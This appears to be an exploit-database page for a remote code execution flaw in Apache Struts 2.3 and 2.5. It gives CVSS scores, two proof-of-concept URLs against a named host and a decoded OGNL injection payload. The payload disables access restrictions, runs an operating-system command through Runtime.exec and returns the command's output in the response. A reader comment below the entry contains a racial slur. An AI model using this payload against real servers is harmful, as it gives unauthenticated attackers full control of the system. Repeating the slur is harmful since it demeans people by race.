Apache Struts 2.3 to 2.3.34 and 2.5 to 2.5.16 Remote Code Execution PoC

2018.08.23
cn Man Yue Mo (CN) cn
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

PoC1: http://www.canyouseeme.cc:8080/struts2-showcase/${(111+111)}/actionChain1.action PoC2: http://www.canyouseeme.cc:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action Payload code: ${ ( #_memberAccess["allowStaticMethodAccess"]=true, #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(), #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b), #d=new char[51020], #c.read(#d), #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(), #jas502n.println(#d), #jas502n.close()) } More here: https://github.com/jas502n/St2-057

References:

https://github.com/jas502n/St2-057


Vote for this issue:
100%
0%

Comment it here.
Humid | Date: 2018-08-23 10:27 CET+1
DAMN NIGGA

Copyright 2025, cxsecurity.com

 

Back to Top